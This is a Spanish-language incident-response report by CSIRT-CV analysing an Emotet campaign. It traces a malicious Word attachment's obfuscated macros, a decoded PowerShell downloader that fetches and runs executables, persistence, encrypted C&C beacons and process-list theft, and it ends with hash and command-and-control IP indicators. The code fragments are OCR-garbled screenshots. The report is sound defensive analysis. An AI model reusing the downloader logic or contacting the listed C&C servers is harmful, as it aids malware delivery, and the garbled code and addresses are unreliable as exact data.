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1 Analisis de campana Emotet

A pesar de tratarse de un malware que se comenzo a identificar en 2014, Emotet todavia
sigue siendo una de las amenazas mas activas hasta la fecha, evolucionado desde las
versiones iniciales, en las que se centraba en el robo de credenciales bancarias, hasta la
actualidad, donde se ha ampliado el arsenal de técnicas entre las que se encuentran
sniffing de trafico de red, explotacion de vulnerabilidades para conseguir movimiento
lateral, etc.

Durante estos 6 afios hemos visto como nuevas campafias de Emotet aparecian durante
unas semanas, y una vez las muestras y los ficheros maliciosos utilizados ya eran
bloqueados por las principales casas de Antivirus se detenian unos dias hasta las siguiente
oleada.

En CSIRT-CV hemos recibido varias de estas campafas, las cuales hemos tratado de
analizar y remediar en nuestros sistemas.

La principal forma de distribucion de Emotet es mediante correos electronicos con
adjuntos maliciosos de tipo ofimatico (excel, documentos word, etc). Durante el mes de
septiembre hemos detectado la misma muestra en varios buzones de GVA, la cual lleva el
siguiente fichero word adjunto:
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1 ; ;:\DVERTENG.A DE SEGURIDAD  Las macros se han deshabilitado. Habil\tar contenido X
Navegacion T
Buscar en documento Fel -

Titulos Pdginas Resultados

Microsoft Word Office 365
Cree un esquema interactivo de su
documento.
Es una buena manera de saber dénde se --
encuentra o moverse rapidamente por el Windows 10 Mobile
contenide. .

Para comenzar, vaya a la pestafia Inicio y

aplique estilos de encabezado a los
L Operation did not complete successfully because the file was created on Windows 10 Mobile device.

encabezados de su documento. 2 < > = =
To view and edit document click Enable Editing and then click Enable Content,

Figura 1: Mensaje de Word para habilitar contenido.

El fichero adjunto con nombre "archivo_2020.doc” contiene unas macros instaladas las
cuales se intentan ejecutar una vez abierto el documento:
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¥ Test - WzgjnOmugfbylm (Cédigo)

Document

open

Private Sub

Document_open ()

Call FnsuéoTeefme.Bbcd45xjTglvixloof
End Sub

(General)

Bbcd45xj7givix0oof

-

Function [ElslssE]
On Error Resume Next
Set Véalnn uwlwyp = BiTujrvvlsjms
nyEmG2 = 4898 * CDate (5 * ChrB (okUa3B17
)}/ SvtYhlé - 5745 +
TgqwDw = PXNE + ChrB(281)
) - (130183105 - Bnd _
(SI1aC® - 13 * UbsCn2F + YgdHTZ))
Chih cksO8jzépff = 105
On Error Resume Next
Set PtnnjO0k8k56al0=s = V3gOng93t3m
nyEmG2 4898 #* CDate(5 * ChrB (okUa3B17
)} / SvtYhlé - 5745 +
TqwDw = PXNR + ChrB(281)
} - (130193105 - End

(85 + XyKf1715 = NyF / Atn(751))
- 306077411 - CInt (5016 _

(85 + XyKf1715 * NyF / BAtn(751))
- 306077411 - CInt (5016 _

Figura 2: Macros ofuscadas del documento

Este script esta ofuscado de forma que complica en gran medida analizar qué acciones
realiza a simple vista, sin embargo, podemos habilitar la ejecucion de macros en Word y
analizar qué operaciones lleva a cabo en el equipo que infecta.

Si analizamos los procesos que se ejecutan una vez se permiten ejecutar las macros del

documento, se observa

que se hace uso de WMI para ejecutar un script en powershell

codificado en base64 en el parametro -e:

lime ... Frocess Name FIU  Uperation vath Hesult Uetall

12:48.... [ Explorer EXE 1820 &% Process Create  C:\Program Files'Microsoft OfficeOffice 16\WINWO... SUCCESS PID: 4844, Command line: "C:%Program Files"Microgoft Office™Office 168WINWORD.EXE"...
12:48.. WINWORD EXE 4844 &% Process Start SUCCESS Parert PID: 1820, Command line: "C:Program Files“Microsoft OfficeOffice 164WINWOR....
12:48.. 556 & Process Create  C:\Windows'\system32\DliHost exe SUCCESS PID: 4592, Command line: C:\Windows'system 32\DlHost exe /Processid:{AB2302B4-09...
12:48.. 4592 5F Process Start SUCCESS Parert PID: 556, Command line: C\Windows'system32\DlHost exe /Processid:{AB8902...
12:48.. 556 & Process Create  C:\Windows'\system32'whem'wmiprvse exe SUCCESS PID: 2084, Command line: C:"Windows"system32'whbem wmiprvse exe -secured -Embed...
12:48:. 2084 &% Process Start SUCCESS Pareﬂt PID: 556 Command line: C:\Windows'system 32\whem‘wmiprvse exe secured -E...
12:48.. 2084 & Process Create  C:\Windows\System32\WindowsPowerShell'w1.0p...SUCCESS ..
12:48:. 3384 &% Process Start SUCCESS Parent PID 2084, Cummand Ime puwershell < JﬂBNADYAaﬂBxADkAcMMDDAKAMA
12:48.. 356 & Process Create  C:\Windows'\system32'conhost exe SUCCESS PID: ommand line: Mindows'system32'\conhost.exe .
12:48.. 1004 &% Process Start SUCCESS Farent PID 356, Command I\ne NINC \\Mndows\system?.Z\conhost Ene -66055293844
12:48.. 4592 &% Process Bxit SUCCESS Exit Status: 0. User Time: 0.0000000 seconds. Kemel Time: 0.0312500 seconds. Private ...
12:48.. 556 &Y Process Create  C:\Windows'\system32\DliHost exe SUCCESS PID: 3020, Command line: C:\Windows'system 32\ Dl Host =xe /Processid:{AB8302B4-09...
12:48: 3020 &% Process Start SUCCESS Parert PID: 556, Command line: C:\Windows"system32\DlHost exe /Processid-{AB8902
12:48.. 3020 &% Process Bxit SUCCESS Exit Status: 0, User Time: 0.0000000 seconds, Kemel Time: 0.0000000 seconds, Private ...
12:48.. 440 £ Process Create  C:\Windows'\System32\svchost exe SUCCESS PID: 3036, Command line: C:\Windows"System32\svchost .exe 4« WerSvcGroup

12:48. . W 'svchost exe 3036 &% Process Start SUCCESS Parert PID: 440, Command line: C:\Windows"System32\svchost exe 4 WerSveGroup, C.
12:48:... E¥powershell exs 3384 & Process Bdt SUCCESS Exit Status: 0, User Time: 0.2031250 seconds, Kemel Time: 0.2500000 seconds, Private ...
12:48.... Elconhost.exe 1004 &% Process Bxit SUCCESS Exit Status: 0, User Time: 0.0156250 seconds, Kemel Time: 0.0312500 seconds, Private ...

Figura 3: Captura de process monitor
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Aunque este script esta también ofuscado, el nivel de ofuscacién es mucho mas reducido,
pudiendo obtener el codigo inicial manualmente sin mucho esfuerzo:

mehqops=( ( "Qtxdzsh'))
.("new-item") ZeNV:useRpROFILe\sqPgDfi\dQKGpwC) -itemtype DIrEctoryY
SECURITYProtoCOL™ = (('tlsi2, tls11, tls'))
gfifov7?
Edgv38b={ ( "Myunqgwl"}
vilxiwes-ienv:userprofile+( (' yApsqpgdfiyApDgkgpwcyAp' ) ("yap'), [cHAR]22)+iQfifovz+(".

Ututeaw-(('s Listado de URLs para descargar

Bylb2vx-=%( "'new-object") neT.wEbCLiENE

on31yc7={(

(iDckyilg in “mvskisy){tr {:Byibavx.PdownLoadfrle"|inckyile, vixiwssy Descarga del fichero

(& '@et-Item") Ivlriwso)."lEMgth" 322547 |4 Ejecucién del binario

NSde_ez-((" 2ut*))

Obf3eso-(( "I51idoi"}}}

Figura 4: Powershell ejecutado decodificado

En este script se puede observar como se intenta descargar varios ficheros ejecutables de
las URLs de la linea 19, y tratara de ejecutar los ficheros con tamafio mayor de 32254 bytes.

En el momento del analisis sélo 4 de las 7 urls responden con un binario ejecutable:

md5 Nombre del ejecutable
6ec0a030d55de2fe1b75126f0f65e5c0 8i449cW.exe
adcf7a7aa104d608331ce2f72c733b47 iINZFe.exe
d02dd7873d4bbe7465e747b17bb3505c¢ nvU.exe
806ba160ea7d2126123cbfd5bfabdbb7 u47D2mVFES5.exe
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A pesar de tener diferentes hashes, el tamafo, secciones y imports son iguales, lo que nos
hace pensar que se trata de un Unico binario con modificaciones minimas para evitar ser
bloqueado rapidamente una vez se detecta la primera muestra. Por esta razén vamos a
analizar s6lo uno de ellos, ya que la légica es la misma en cada uno.

@O ,.-} AppData » Local » Temp »

Open

Organize =

4 5.0 Favorites
. c_codes
Bl Desktop
4 Downloads
J FLARE
1= Recent Places

o Litilities

4 o Libraries
> @ Documents
> J’ Music
* = Pictures
4 E Videos

> vl@ Homegroup

~ | 4 || Search Ten

Share with + Mew folder
Marne . Date modified Type Size
- ykmb3dze.bka 7772020 9:30 AM File folder
L zdzdov5i0dl 9/3/2020 3:14 AM File folder
B .NETCorefpp,Version=v2.2.AssemblyAttr...  5/16/2020 3:32 PM Visual C# Source F... 1KE
| | {6E016A98-D29A-4A11-B0AA-41555E0ED...  5/12/2020 4:20 AM  DAT File O KBE
| | {8C4B4850-7497-4F0T7-A204-0A0FE60BF5A...  2/14/2020 8:55 AM  DAT File OKBE
|| ~DF58B091B65AC33680. TMP 5/12/2020 4:20 AM TMP File 16 KB
|| ~DF206EODSEIDTSELST. TMP 4/26/2020 10:09 AM  TMP File 112 KB
|| ~DF590COFBERBCDI3BC. TMP 9/3/2020 1:18 AM TMP File 16 KB
|| ~DFe14ACESLTFCCCO2D. TMP 4/26/2020 10:08 AM  TMP File 112 KB
|| ~DF5983ED74BCSBEOFA.TMP 9/7/2020 5:31 AM TMP File 16 KB
|| ~DFABETETATS2AFASAC TMP 4/26/2020 10:08 AM  TMP File 112 KB
|i Bid40cW exe 9/2/2020 9:15 AM Application 1,096 KB
%] 435fd32.dll 4/26/2020 10:06 AM  Application extens... 9KB
|| ASPMETSetup_00000.log 1/9/202012:23 PM Text Document S5KB

Figura 5: Fichero malicioso creado en el sistema
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@\ J. | b b AppData » Local | ctfmon - *fl
COrganize - Include in library = Share with = Mew folder
¢ Eavorites Marne Date modified Type
c_codes da msctf.exe 8/30,/2020 5:28 AM Application
Bl Deskiop
4 Downloads
FLARE

Recent Places

Figura 6: Directorio de la persistencia

De lo primero que podemos darnos cuenta una vez ejecutamos el binario es que se borra
de la carpeta temporal en la que se descarga desde el powershell y se almacena en
%APPDATA% en una carpeta con un nombre aleatorio y el ejecutable es renombrado otro
nombre (generado aleatoriamente / pero legible, no es random).

Por otro lado se puede ver que después de unos segundos de ejecucidn se comienzan a
realizar peticiones POST contra diferentes direcciones IP con contenido cifrado.

091128 12:42:36 AM [ Diverter] Bi449
091128 12:42:36 AM [ HITPListener881 P'() / : . /Pyl Ay
BW9.-11-20 12:42:36 AM [ HITPListener881 H mu1t1 alt/folm data, hounda1
41a42d7h92fd8a3662cal?6?d
211,28 12:42:36 AM [ HITPListener8@1 User ngnt Ho~111a/4 B {compatible; MSIE 7.8; Windows NI 6.1; WOUHG4; Triden
t-4.8; SLGCZ, .NET GLR 2.8.58727; _NET CLR H -0.3872%; Media Center PC 6.8; .NET4.8C; .NET4.8E>
B?.-11.-28 z42:3 HITPListener881 Hostz 213. GB 96 117
\e.-11.-28 12: H HITPListener8@1 eng ]
02711720 12:42: HITPListener8@1] Connection: Keep Hl1ue
091128 12:42: HITPListener8681 Cache—Control: no-cache
071128 12:42: HITPListener881
07,1128 12:42: HITPListener8A1
B?-11-28 HE - H HITPListener881 61da?eb41a42d?h?2fdBa3662cal?67d
w2 /11,28 =42: HITPListener8@1 Content—Disposition: form—data; name="zesqgcgdteh"; filename="fcuztzel"
e /11,28 =42: HITPListener8@1 Content—Type: applicationsoctet—stream

242: HITPListener881

HTTPLL;tenelSB]

Al
HTTPngtenePSB] B2 on/a HE : Jedi i W 51‘09—8r4
e 1128 12: 42 36 AM [ HITPLiztener881 1 ,J tyzyly A .5 i ||1_:£1 T~ REABL™Ibubk-#45
pE U 3 oS Jag lmok&]tEIlﬁ%B((f <nen}1<u dat=R{f i u12°"P31kInJ1FE *mgo{CFO —E*SkTY"12R"yaEBIPDLuﬁl*uY—
J(:1—1-]<+B-.-J‘5F 1% 5 34B fnas Ind=pdiigiml¥ b4 MBS greShnMagiic |
B?-11-280 12:42:36 AM [ HITPListener8#] 6lda%e641a42d9b?2f dBa3d662cal ?67d——

Contenido de la peticién

Figura 7: Peticiones del programa malicioso

En este punto nos interesa conocer qué informacién va en el contenido cifrado de las
peticiones POST y cual es el listado de direcciones a las que el programa se conecta.
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Si hacemos un analisis estatico no encontraremos API importadas de red con las que
realizar las peticiones que hemos capturado. Podemos ejecutar el programa analizando las
llamadas a API que realiza para observar algo mas de informacion.

i }a] 42bd91  HegUpenkeyk <& |HELCUYS atbwaresMicrozotltSWAindowssLurentyersionsHaolicies WM etwork, |
338 42bd31  RegOpenk.evE s, [HECUAS ofbware\Microzoft\Wwindows \Currenterzsion Policies\Comdlg32)

fO0c . LU type=alUL, prot=4| = ZULILLL
1] 203633 CreateT oolhelp325napshot(flags 2, pid:0]

] 10005617 CreateT oolhelp32Snapshot(flags: 2, pid:0]

] 10005681 Procezs32Mest[] HIDIMG api_logger.exe

a8 203269  OpenProcess(pid=2960] = 0x148 - - pid 78 nat in ToolHelp Apil -
Figura 8: Captura de llamadas al sistema

h08 7EBcadald  RegOpenkeyE =4 [HELMASOFTWARE SMicrozafthiwiindowsh Currenterzsion'd nternet S ettings)

h08 7Bocd9ae  IntermetConnectd[50.121.220.50) = cc0008

h0a 1d2293  IntemetConnectwB0.121.220.50] = ccO002

h08 FBocdcld  HitpQpenRequestw[oc0008, POST, uezd210X3a/uk L CyThBRHEB 2vwtF AkggU BdPriuCsvHw0 Ak Cvoklas] = cc000c
508 1d2204  HttpOpenRequeste(cc0008, POST. uezd210x3a/uk 7 L) CuThBhHE 24tF A ggldBdPmuCvHwD Ak Cvaoklad) = co000c
h08 Fecaldf  GetSystemTime()

h0a FO182287  Createbutexd (R asPbFile] = 0x0

a08 TEI1fd47  ReadProcesztemorn{h=FF, addr=7efde008, s2=4]

RNR TRA1frdr  ReadPrarezsbemnrulh=fFFE addr=7efdeliNe s7=41

Figura 9: Captura de llamadas al sistema

Unas de las primeras llamadas que vemos que se realizan a las API de Windows es
VirtualAllocEx (la cual no aparece en el listado de imports del ejecutable), utilizada por
malware principalmente para reservar memoria y luego cargar en esta seccion mdédulos
gue en un principio estaban cifrados en el ejecutable, que se han descifrado y se intentan
cargar para ejecutar.

En la siguiente imagen se puede ver cédmo se hacen llamadas a funciones coémo
InternetConnectW o HttpOpenRequestW desde un offset (0x1d2299 y 0x1d2204) diferente
al del programa inicial (0x42xxxx). Esta seccion ha sido cargada posiblemente usando la
funcion VirtualAllocEx que se ha mencionado y se ha marcado esa seccion de memoria
como ejecutable (RX), como se puede ver en la siguiente imagen:
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4 Q200000 Private 43 kE RW
0x200000 Private: Commit 4kB_RW
201000 Private: Commit 28kE RX
O 208000 Private: Commit 4kE R
O 209000 Private: Commit gk RW
Ox20b000 Private: Commit 4kB R
» Ow210000 Private 250 kB AW

Figura 10: Espacios de memoria en el proceso malicioso

Esto significa que en esa direccidn se ha cargado nuevo codigo ejecutable y se ha pasado
el hilo de ejecucion a esa parte de memoria. Podemos extraer esa seccidon y comprobar
que se trata de un ejecutable cargado durante la ejecucidn del programa principal aunque
con varias modificaciones en las cabeceras del PE para complicar el andlisis del programa.

] msctf_00270000.bin |

Offset(h) 00 01 02 03 04 05 06 07 08 09 OR OB OC OD DE OF Decoded text
00000060 OO0 00 00 00 00 OO0 00 00 00 00 00 00 00 00 00 00  eevruneessnness
00000070 OO0 00 00 00 00 OO0 00 00 00 00 00 00 00 00 00 00 eevsuneessnness
00000080 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  eerruueerennn..
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  eervuueerennn..
000C0DAD 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  eervuueerennn..
000C00ED 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  seervuueeronnn..
000000C0 53 45 00 00 4C 01 04 00 2E B2 47 SF 00 00 00 00 PE..L....*G_..
000000D0 00 00 00 00 EO 00 02 01 OB Ol OC 00 00 64 00 0O A 3.
ODOCODED 00 18 00 00 00 00 00 00 11 41 00 00 00 10 00 00 ...w..... Ao.....
000C0DFD 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 .€....8.........
00000100 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00  evrvuueeronnn..
00000110 00 CO 00 00 00 04 0O OO 00 OO0 00 OO0 02 00 40 87 .A............ e
00000120 00 00 10 00 00 10 00 OO0 00 00 10 00 00 10 00 00  sevrvuueerennn..
00000130 00 00 00 00 10 OO0 00 00 00 00 00 00 00 00 00 00  weervuueerennn..
00000140 00 00 00 00 00 OO0 00 OO0 00 00 00 00 00 00 00 00  weervuueerennn..
00000150 OO0 00 00 00 00 OO0 00 OO0 00 00 00 00 00 00 00 00  weervuueerennn..
00000160 00 BO 00 00 34 01 00 OO0 00 00 00 00 00 00 00 00 .%..d..eee.un...
00000170 00 00 00 00 00 OO0 00 00 00 00 00 00 00 00 00 00  seeveuueerenne..
00000180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  wevrvuueerennen.
00000190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  wevreuueerennnn.
000001A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  wevreuueerennen.
000001BO 00 00 00 00 00 00 00 00 2E 74 65 78 74 00 00 00 .evw.n... text. ..
000001CO 94 €2 00 00 00 10 00 OO0 00 &R 00 OO0 00 04 00 00 “i....... S PR
00000100 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60  seeweunee... S
000001ED 2E 72 64 &1 74 &1 00 00 02 00 00 00 00 20 00 00 .rdata....... ..
6E 00 00 00 00 00 00 00 00 00 00 ..... Beeiinnnnn.

000001F0 OO0 02 00 00 00

Figura 11: Seccion de codigo ejecutable

Mientras el programa ejecuta la nueva seccién que se ha cargado en memoria, se pueden
observar que se comienzan a realizar peticiones POST repetitivas con contenido cifrado

10
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hacia varios servidores. Puede ser interesante analizar el programa para investigar qué
informacién esta extrayendo del equipo para enviar al servidor de control y comando (C&C
desde este punto). Justo después de hacer el VirtualAllocEx, la primera llamada a API que
se realiza es a CreateToolHelp32Snapshot, lo que puede significar que se obtiene alguna
informacion de los procesos que se estan ejecutando en el equipo.

Podemos parar la ejecucion del programa en la llamada a CreateToolHelp32Snapshot para
ver como se extrae la informacion de los procesos:

~ DFB5 A6000000 jne SE3eca § - ~r= -
6A 00 push o0 HidesRE
g'; 2?010000 gﬂ:: i__ EAX 76927347 I<kerne]32.CreateToo'IhE'Ip32Snapshot>
o 3 7
BA 1FOSFF3A mov edx,3AFFO81F Egi ggag;f%; Lrg
B3 SABF35A3 MOV ecx,A335EFSA 2 g
E8 BEFBFFFF €all 3E2EEC EDX  SAFFOSLF
53 EEE AZE34DE
EEDO Tea eax,dword ptr ss:[fesp+14] + || Hide FPU
BBFO mov dword ptr ss:|fesp+i4ff,zz2C
83FE FF gﬂgn == EAX 76928E97 I<I<erne'|32.ProcessBzF'l'rstw:\-
~ QF84 AS5000000 = EBX 00203305
B8 550BFA1S push 144 ; g
~ EB AD mov edx,3D7EADDZ ECX  000001A4 L'F
c7 MoV _ecx,A935BF5A EDXQEC C0nmn
’ EEF  2ATES4DE
04424 18 €all zo2eec =
50 pop ecx ESP O018F5ED
FFD3 call eax ESI 00000138 L'k’
E7D8 test eax,eax EDI  0018F82C
1BCO je 2036C2
25 O7SBLEEF MoV _eax,2Z1l33F3C2 EIP  00Z036E2
03C5 add eax,eo 113 > Hide EPL
~ EB 8B jmp 3E35EE| 1ea eax,dword ptr ss:[fesp+14]) fide EEY
N Eg g;BFCBl 'J“;; gggégé ;3;;3;;{99399 31 EAX 76928954 |<kerne132.Process32nextw>
8D4424 14 Tea eax,dw] push esi Eg§ gggggggg v
BA 31970393 mov edx,92] push F9 «
3 push eax mov ecx,A935BFSA EDX  535A10000
56 push esi €all 202eeC EEP  2A7BE34DE
&8 F3000000 push F3 pop_ecx ESP  O0D18FSE0Q
B9 SABF35AZ mov_ecx, AJ)eaIeax ESL 00000138 L'k’
E8 G&EFEFFFF €all 3E2EE| neg esax EDI 001BFB2C
pop ecx sbb eax,eax
FFDO €8l eax and eax,F71EG4E7 EIP 00203682
F7D8 neg eax mpzUTES o
18C0_ sbo eax,eax_ -l -

Figura 12: Extraccion de listado de procesos en x32dbg

En la captura se ve como se hacen llamadas a funciones para recorrer los procesos, uno a
uno, que estan en el equipo. Mientras se van recorriendo estos procesos, el programa
almacena el nombre de estos, y a continuaciéon se comienzan a realizar llamadas a la DLL
rsaenh.dll, un moédulo de windows que ofrece servicios criptograficos. Si analizamos las
llamadas a esta DLL veremos que se utiliza para cifrar la informacién que se envia cobmo
contenido de la peticién POST. Entre la informacion que se cifra podemos observar el
listado de procesos del equipo, nombre del equipo, etc.

11
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B cru ? Graph | | tiog | [ 1 Motes #® Breakpoints | Memory Map | [} call Stack | =% SEH J¢2| Seript | ] symbols | <? Source +' References 'S Threads | élﬂ

o oo mov edT edi + (G
#| 74C74BET push ebp Hide EEY
- ::g_:ggf ?25‘: “D"hEbF':ESP EAX 00000001
= | 2 an p:gh ‘1357 EBX 00GCEFTO <&CPACQUireContexts
e 4 . . ECX  T4CA3DE2 Cryptsp. 74CAZDE2
. FF75 24 push dword ptr ss:[[ebp+z4] b
. FF75 20 push dword ptr ss:|[febp+z0] EDX Bs*EUUEU
. FF75 1C push dword ptr ss:|[febp+iC]) B  EEEEER
. FF75 18 push dword ptr ss:[ebp+is] ESP  OQOLBEDCE
. FF75 14 push dword ptr ss:[ebp+14] ESI 0Z1BEA4E <&CPGEnKey>
. FF75 10 push dword ptr ss:febp+10] __|| EPT  E338A354
. FF75 0C push dword ptr ss:[ebp+C]) [
. FF75 08 push dword ptr ss:|[ebp+&] ~ || EIP  Facraees <rsael Encrypt>
. E8 BED20000 €all rsaenh.74C74E6E
. 33C3 XOr ecx,ecx 3
. 85C0 test eax,eax ;ELQGSPF EDDRE 34
. 0F94C1 sete cl
BEF1 mov esi,ecx Fe Fo G
B5F& test esi,esi EF® =i uei
~ OF84 98980000 je rsaenh.T4CTE4832
BECE mov eax,esi LastError 00000012 (ERROR_NO_MORE_FILES)
SE op esi LastStatus CO000100 (STATUS_VARTIABLE_NOT_FOUND)
pop
. 5D pop ebp
. C2 2000 ret ]
. 2 BE45 0OC mov eax dword ptr ss:|[febp+C[)
® || 74C74EFS C700 E4010000 mov dwurd ptr ds:[eax],1E4 Default (stdcall) '] 5 = I:‘Unlockeu
74C74BFE| ~ E9 B22FFFFF jmp rsaenh.74CE67BE2 z
e 7ac7aco0 8B45 0C mov eax,dword ptr ss: [Ebl:l [l i ;_1,2 {g;g:g% Egg:;’éﬁﬁ
. f(&w Moy dwur‘d ptr ds:Teaxl. 3: [esp+C] E336A354
| J C 4: [esp+ld] 00000001 s
edi=E336A354 5: [esp+14] 00000000
RSAENH_CPEncrypt
.Text:74C74BB5 rsaenh.dl1:$14BB5 #13FB5S <CPEncrypt> SYNOPSIS
z 74CASBB2[return to c
@oump1 | Yoump2 | 4houmps | @pump4 | Wlpumps | @ wath1 | wellocas | # struct | e[ 7 S arnee BOOL RSAENH CPEncrypt
0018EDDO (| E336EEA4 (
il ie Hex TS “ | oo1sz0D4|| E336A354 HCRYPTPROV hProv,
3 BEDDS HCRYPTKEY Ak,
TZIEFTET 59 7 33 7D 9E 04 D0LEEDDE _BBBBBBBE pepldlial bkl
023 BEta oo 00 2B 20 0 .. ..di 3.8 F L 001BEDED || 021BF454 B0OL Final,
021BF484 (15 7 7|67 65 78 65 2d|.api_logger.exe, —————1TTrEEE DWORD eFl
0Z1BF494 32 64 62 B aud'indg . .x32db. s wi=EAg Sy
021BF4A4 &5 74 77 &d| . .ida vrnpnetv\k 0018EDES | 00000130 BYTE* pbOata,
E : 0018EDEC || F40F1B8E DWORD* dwDatalen
021BF4B4 50 72 &F 63 .Sppsvc’ . .Proc 0018050 || 00DDOOOD s :
7 Kk h 8 DWORD dwBufLen
021BF4C4 61 72 63 64| essHack H.Searc ooiseors || 097a189C
021BF4D4 6F 70 5 &f|Ind U.r. ..,open n018e0FE || 021BF2ED )
021BF4E4 |7 6F 78 54 734|vpn-gui’3.vBoxTr nolzenre || 00000000
021BF4F4 7z 76 60 Of|ay ..op ..serv’. 00122500 || oooDDOOL
021BF504 73 70 &F &H taskhost . . 5poo |—| oo1sec0z|| 021BEASE
0Z1BF514 £4 07 64 "? 'Is .explor d.dw —N oo1secos || oooooool i
021BF524 69 63 65 &q|m’ \«"J service’ noisce0c || ooecEFTD -
021BF534 23 04 6C 73|..5vca.<.1s.#.15 oo1sEs10 || oooooOOL
0Z1BF544 2E 65 20 Fg|ass...er@).s.e d oo1gEE12 || ooecR4FD
021BF554 77 69 6E 69| .win p.on ..wini oo18eE1s || oo18EDEC
021BF564 73 60 38 07| ni.t.csrA/.ms’ 8, ooisccic || ooisEFz0
O T ZD 0.0 ) (1 dpda D018EE20|| 0018FE48|Pointer to SEH_Rec 1
021BF584| AB 00 00 00 O B nntarezrall 7arsatenl Frrvntsn Facaaicn

Figura 13: Llamada a rutina de cifrado

Esta funcionalidad ya se ha visto en anteriores versiones de Emotet, donde la l6gica de la
aplicacion para detectar si se encuentra en un entorno controlado, o en un equipo “real” s
realiza en el servidor remoto de forma que se dificulta el trabajo del analista para poder
ejecutar el programa completo o conseguir los siguientes modulos de la amenaza.

Llegados a este punto de la ejecucidon, nos quedaria obtener el listado de servidores C&C
con los que el programa intentara contactar. Esta informacion la podemos extraer de la
seccion cargada dinamicamente en un formato que Emotet lleva utilizando en varias
campanas:
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¢) CSIRT-CV

Centre Sequretat TIC
de la Comunitat Valenciana

|

,
Address |Hex

BE
EE
72|50
AE (50
44|90
B8 |50
5Z|BEE 01 &2
49|50 00 EO
B5 |90 1F 85
EA|9A 1F DE

B4
Do
7D
AY

BA 23 C4
90 73 20
51 99 AB
25 &7 83
07 |A3 3D 1E
7B|6B ZE BA
42|54 92 F1 CO(90
DE|B9 25 83 68|90
BE|CD OF C4 52|90
EA|72 AA BY 4430

05 | AB
46|90
3A|S0
68|20
ES |BE
57|90

DD2393CE|99 89 93
00229208 TIAIFAS
002393E8 &D
002333F8
00239408
00239418
00229428
00239438
00239448
00229458

EE 01|12
76

00 65
00 73

3C B3
E5 1B
C7 BE
53 12
F9 &F
A3 DO
AZ &0
C7 7F

BT
42
4C
1
B1
46

iF D2
00 0D

ASCII
1B 05 90| .. .%3....24. ...
1F 21 EO|..£%P.vD.5 F..13
00 6B B4|<*mrP.elQ.«:P.K’
1F BS 52| &.deP.s@%g.h.. R
01 BA 90| C%-D..0.£=.ps. =,
1F 1C 39(5.8,P..{k.jW...9
1F C1 D4|UoLRs.BCT.nA. . AD
1F 04 83| £BAIP.EP' ). H. ...
1F FO 46| ¢ .p...=I.AR..DF
1F B4 ZE|C.F®..B&r2.D.. =

Figura 14: Espacio de memoria con direcciones de Command and Control

2 10Cs:

Fichero malicioso original:

e4106c03f11cef251506€a965337dc80af40d1ef95
€8a4ab960d0e28104651f5

archivo 2020.doc

Ficheros dropeados maliciosos:

6ec0a030d55de2fe1b751261f0f65e5¢0 81449c¢W.exe
adcf7a7aal04d608331ce2f72¢733b47 iNZFe.exe
d02dd7873d4bbe7465e¢747b17bb3505¢ nvU.exe

806bal60ea7d2126123cbfd5Sbfabdbb7

u47D2mVFES .exe

Direcciones IP contactadas:

50.121.220.50:80

51.75.33.122:80

54.37.42.48:8080

91.121.54.71:8080

45.16.226.117:443

68.69.155.181:80

213.60.96.117:80

77.55.211.77:8080

152.169.22.67:80
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*; CSIRT-CV

Centre Sequretat TIC
de la Comunitat Valenciana

110.142.219.51:80

2.47.112.152:80

206.15.68.237:443

217.13.106.14:8080

191.99.160.58:80

189.131.57.131:80

213.197.182.158:8080

94.176.234.118:443

61.92.159.208:8080

190.128.173.10:80

219.92.8.17:8080

190.115.18.139:8080

190.147.137.153:443

5.196.35.138:7080

190.163.31.26:80

70.32.115.157:8080

114.109.179.60:80

58.171.153.81:80

174.100.27.229:80

104.131.103.37:8080

68.183.190.199:8080

181.30.61.163:443

184.66.18.83:80

87.106.46.107:8080

82.76.111.249:443

192.241.146.84:8080

73.213.208.163:80

104.131.41.185:8080

181.129.96.162:8080

82.196.15.205:8080

186.70.127.199:8090

68.183.170.114:8080
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*; CSIRT-CV

Centre Sequretat TIC
de la Comunitat Valenciana

111.67.12.221:8080

172.104.169.32:8080

219.92.13.25:80

45.33.77.42:8080

185.94.252.12:80

46.28.111.142:7080

51.255.165.160:8080

45.173.88.33:80

190.24.243.186:80

45.161.242.102:80

77.238.212.227:80

177.72.13.80:80

65.36.62.20:80

190.2.31.172:80

212.71.237.140:8080

64.201.88.132:80

91.219.169.180:80

212.174.55.22:443

95.9.180.128:80

72.135.200.124:80

178.250.54.208:8080

187.162.248.237:80

178.79.163.131:8080

77.90.136.129:8080

70.32.84.74:8080

98.13.75.196:80

190.6.193.152:8080

192.241.143.52:8080

83.169.21.32:7080

138.97.60.141:7080

137.74.106.111:7080

209.236.123.42:8080
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*; CSIRT-CV

Centre Sequretat TIC
de la Comunitat Valenciana

199.203.62.165:80

51.159.23.217:443

50.28.51.143:8080

24.135.1.177:80

177.73.0.98:443

188.2.217.94:80

170.81.48.2:80

186.103.141.250:443

188.135.15.49:80

185.94.252.27:443

72.47.248.48:7080

177.74.228.34:80

216.10.40.16:80

103.106.236.83:8080

217.199.160.224:7080

190.190.148.27:8080

12.162.84.2:8080

85.109.159.61:443

85.105.140.135:443

204.225.249.100:7080

67.247.242.247:80

191.182.6.118:80

189.2.177.210:443

178.148.55.236:8080

72.167.223.217:8080

71.197.211.156:80

190.195.129.227:8090
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